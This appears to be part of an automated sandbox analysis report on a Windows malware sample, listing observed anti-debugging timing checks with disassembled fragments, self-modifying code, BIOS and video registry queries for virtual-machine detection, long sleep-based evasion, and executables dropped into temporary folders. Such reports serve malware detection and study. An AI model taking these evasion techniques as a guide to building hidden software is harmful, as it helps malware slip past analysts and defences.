Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB092B second address: 4BB0985 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D98h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c jmp 00007FD4352B3D90h 0x00000011 xchg eax, ebx 0x00000012 jmp 00007FD4352B3D90h 0x00000017 push eax 0x00000018 pushad 0x00000019 mov al, bh 0x0000001b mov bl, al 0x0000001d popad 0x0000001e xchg eax, ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FD4352B3D90h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0985 second address: 4BB0997 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4352B390Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0997 second address: 4BB09AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a call 00007FD4352B3D8Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB09AD second address: 4BB0A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 call 00007FD4352B3911h 0x0000000a call 00007FD4352B3910h 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 popad 0x00000012 mov dword ptr [esp], esi 0x00000015 jmp 00007FD4352B390Eh 0x0000001a mov esi, dword ptr [ebp+08h] 0x0000001d pushad 0x0000001e mov al, 19h 0x00000020 mov bh, 4Dh 0x00000022 popad 0x00000023 sub ebx, ebx 0x00000025 jmp 00007FD4352B390Bh 0x0000002a test esi, esi 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007FD4352B3914h 0x00000033 sub esi, 651B6D68h 0x00000039 jmp 00007FD4352B390Bh 0x0000003e popfd 0x0000003f mov cx, B75Fh 0x00000043 popad 0x00000044 je 00007FD4A7629268h 0x0000004a pushad 0x0000004b movzx ecx, dx 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0A39 second address: 4BB0A6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FD4352B3D8Eh 0x00000016 xor cl, FFFFFFF8h 0x00000019 jmp 00007FD4352B3D8Bh 0x0000001e popfd 0x0000001f mov bh, ch 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0A6A second address: 4BB0AA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 8D72h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ecx, esi 0x0000000c pushad 0x0000000d call 00007FD4352B390Bh 0x00000012 mov ch, 4Ah 0x00000014 pop edx 0x00000015 popad 0x00000016 je 00007FD4A7629223h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FD4352B3917h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0AA5 second address: 4BB0AE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, CBDAh 0x00000007 pushfd 0x00000008 jmp 00007FD4352B3D8Bh 0x0000000d adc cl, 0000007Eh 0x00000010 jmp 00007FD4352B3D99h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 test byte ptr [76FB6968h], 00000002h 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0AE5 second address: 4BB0AE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0AE9 second address: 4BB0AFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0AFC second address: 4BB0B02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0B02 second address: 4BB0B57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FD4A7629629h 0x00000011 pushad 0x00000012 mov ecx, 495009BBh 0x00000017 pushfd 0x00000018 jmp 00007FD4352B3D90h 0x0000001d add ch, 00000008h 0x00000020 jmp 00007FD4352B3D8Bh 0x00000025 popfd 0x00000026 popad 0x00000027 mov edx, dword ptr [ebp+0Ch] 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FD4352B3D90h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0B57 second address: 4BB0B5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0B5D second address: 4BB0B63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0B63 second address: 4BB0BC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3918h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007FD4352B3910h 0x00000011 push eax 0x00000012 pushad 0x00000013 push edi 0x00000014 pushfd 0x00000015 jmp 00007FD4352B390Ch 0x0000001a and esi, 57A19528h 0x00000020 jmp 00007FD4352B390Bh 0x00000025 popfd 0x00000026 pop ecx 0x00000027 mov esi, edi 0x00000029 popad 0x0000002a xchg eax, ebx 0x0000002b pushad 0x0000002c push edx 0x0000002d pop edx 0x0000002e mov dh, ah 0x00000030 popad 0x00000031 push esp 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0BC6 second address: 4BB0BCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0BCA second address: 4BB0BCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0BCE second address: 4BB0BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0BD4 second address: 4BB0BDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0BDA second address: 4BB0BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0CAD second address: 4BB0CB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0D59 second address: 4BC0DCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 7FCF58B3h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FD4352B3D94h 0x00000013 and si, 06B8h 0x00000018 jmp 00007FD4352B3D8Bh 0x0000001d popfd 0x0000001e push esi 0x0000001f pushfd 0x00000020 jmp 00007FD4352B3D8Fh 0x00000025 or ecx, 21AB987Eh 0x0000002b jmp 00007FD4352B3D99h 0x00000030 popfd 0x00000031 pop eax 0x00000032 popad 0x00000033 mov ebp, esp 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FD4352B3D8Ah 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0A7B second address: 4BC0A96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4352B3917h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0A96 second address: 4BC0AD7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FD4352B3D8Ch 0x00000013 xor al, FFFFFFC8h 0x00000016 jmp 00007FD4352B3D8Bh 0x0000001b popfd 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0AD7 second address: 4BC0ADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0ADB second address: 4BC0B26 instructions: 0x00000000 rdtsc 0x00000002 mov edx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 mov si, di 0x0000000c movsx edx, si 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov edx, 38A41672h 0x00000019 pushfd 0x0000001a jmp 00007FD4352B3D93h 0x0000001f sub ah, 0000006Eh 0x00000022 jmp 00007FD4352B3D99h 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C308EB second address: 4C30908 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3919h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30908 second address: 4C30929 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 mov bx, E22Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD4352B3D91h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30929 second address: 4C3092E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30742 second address: 4C30747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30747 second address: 4C307BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3911h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FD4352B390Ch 0x00000011 adc esi, 6D1FC328h 0x00000017 jmp 00007FD4352B390Bh 0x0000001c popfd 0x0000001d jmp 00007FD4352B3918h 0x00000022 popad 0x00000023 push eax 0x00000024 jmp 00007FD4352B390Bh 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FD4352B3915h 0x00000031 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CBEFB3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E744E4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E72AB3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EA0679 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CBEEA1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F05ED9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D6EFB3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F244E4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F22AB3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F50679 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D6EEA1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FB5ED9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Special instruction interceptor: First address: D9BA4A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Special instruction interceptor: First address: F42A1E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Special instruction interceptor: First address: F50CB8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Special instruction interceptor: First address: FCFE0C instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Memory allocated: CB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Memory allocated: 2660000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Memory allocated: 4660000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04C30C72 rdtsc

0_2_04C30C72

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1323	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1162	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1193	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1405	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1210	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4767
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2933
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6109
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 690
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Window / User API: threadDelayed 9784
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8482
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1142
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7099
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2634

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1019257001\43a8c4054b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1019255001\331488c9a5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Dropped PE file which has not been started: C:\nmckayer\2d28fff282f940b9a303e100d9504cbd.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1019256001\f9567e9ef8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Dropped PE file which has not been started: C:\nmckayer\3477ac361a61484faa59cc92fe88289c.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7712	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7712	Thread sleep time: -80040s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7684	Thread sleep count: 1323 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7684	Thread sleep time: -2647323s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7672	Thread sleep count: 292 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7672	Thread sleep time: -8760000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7696	Thread sleep count: 1162 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7696	Thread sleep time: -2325162s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7700	Thread sleep count: 1193 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7700	Thread sleep time: -2387193s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7688	Thread sleep count: 1405 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7688	Thread sleep time: -2811405s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7704	Thread sleep count: 1210 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7704	Thread sleep time: -2421210s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6512	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4348	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7100	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1704	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe TID: 6676	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe TID: 1880	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -24903104499507879s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -99859s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -99734s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -99607s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -99499s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -99329s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -99217s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -99108s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -98989s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -98874s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -98765s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -98655s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -98546s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -98435s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -98327s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -98218s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -98109s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -97999s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -97890s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -97781s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -97671s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -97562s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -97453s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -97343s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -97234s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -97124s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -97014s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -96905s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -96796s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -96687s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -96578s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -96468s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -96356s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -96249s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -96140s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -96031s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -95916s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -95810s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -95702s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -95593s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -95484s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -95374s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -95265s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -95155s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -95045s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -94936s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -94827s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -94718s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -94609s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -94498s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe TID: 5212	Thread sleep time: -94547s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5168	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6476	Thread sleep count: 8482 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6488	Thread sleep count: 1142 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1740	Thread sleep count: 7099 > 30
